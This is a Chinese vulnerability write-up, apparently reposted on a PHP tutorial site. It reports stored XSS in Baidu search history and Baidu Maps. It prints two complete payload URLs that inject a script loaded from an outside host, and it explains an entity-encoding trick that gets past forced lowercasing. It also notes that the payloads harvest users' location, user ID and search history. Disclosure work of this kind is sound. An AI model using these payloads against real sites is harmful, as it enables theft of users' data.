网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

百度搜索存储型XSS漏洞 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 1 在百度搜索的东西,会在百度个人中心留下搜索历史记录2 所以我在百度搜索http: www baidu com s?wd=%22onmouseover =%22var%20s=document create%26%2369%3blement( 39;script 39;);s src= 39;http: fri...

1.在百度搜索的东西,会在百度个人中心留下搜索历史记录




2.所以我在百度搜索
 

http://www.baidu.com/s?wd=%22onmouseover =%22var%20s=document.create%26%2369%3blement('script');s.src='http://fripside.sinaapp.com/';document.body.append%26%2367%3bhild(s);%22



3.在个人中心会留下记录,会出现XSS漏洞,如图


 

QQ截图20140825152530.png

4.上面连接,会把大写字母转换到小写字母,控制台会报错,如图

报错.png



5.因为下面图上两个本来应该大写的字母变成小写字母了
 

原因.png







6.所以要把大写B和大写C,转码之就不会报错了


 

B → B → %26%2366%3b


 

C → C → %26%2367%3b



7.这个是self XSS吗??百度搜索每天用的人那么多,如果乱七八糟的网站,强制你搜索这段代码,就不是跨自己了.如果网站这样呢,如图


 

如果.png





8.这里顺便也提交个百度地图另外一边的XSS漏洞,就不会废话了,直接上连接


 

http://map.baidu.com/?newmap=1&shareurl=1&l=15&tn=B_NORMAL_MAP&c=13376526,3516728&i=0,1,1&s=bt%26bttp%3D0%26c%3D179%26sy%3D0%26en%3D1%24%24d506b2fea993829688b988e8%24%2413373701.000000%2C3516044.000000%24%24%E8%A5%BF%E6%B9%96%E5%8C%BA'onmouseover%253d%22var%20e%253ddocument.createElement('script');e.setAttribute('src','http://fripside.sinaapp.com/aaaaaa.js');document.body.appendChild(e)%22style%253d%22font-size:999px;cursor:%20default%20!important;%24%24%24%24%24%24%26sn%3D1%24%24f9fd6062990a5b1e0f0e6be9%24%2413379295.000000%2C3516515.000000%24%24%E5%8F%8C%E7%89%9B%E5%A4%A7%E5%8E%A6%24%24%24%24%24%24%26sq%3D%E8%A5%BF%E6%B9%96%E5%8C%BA%26eq%3D%E5%8F%8C%E7%89%9B%E5%A4%A7%E5%8E%A6%26exptype%3Ddep%26exptime%3D2014-08-23%2004%3A10%26version%3D5




9.访问之后把鼠标移到左边就会获取地理位置和用户ID


 

map.png

 


修复方案:

百度个人中心虽然无法获取到cook,但是可以获取用户的搜索历史记录,百度地图虽然获取不到cook,但是可以获取ID对应所在地点



1.百度个人中心因为双引号被过滤,百度地图因为单引号没过滤,百度地图,前两次修复,只是修复了输出点,不是我吹牛,治标不治本,过滤方式会导致出现同样的问题

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论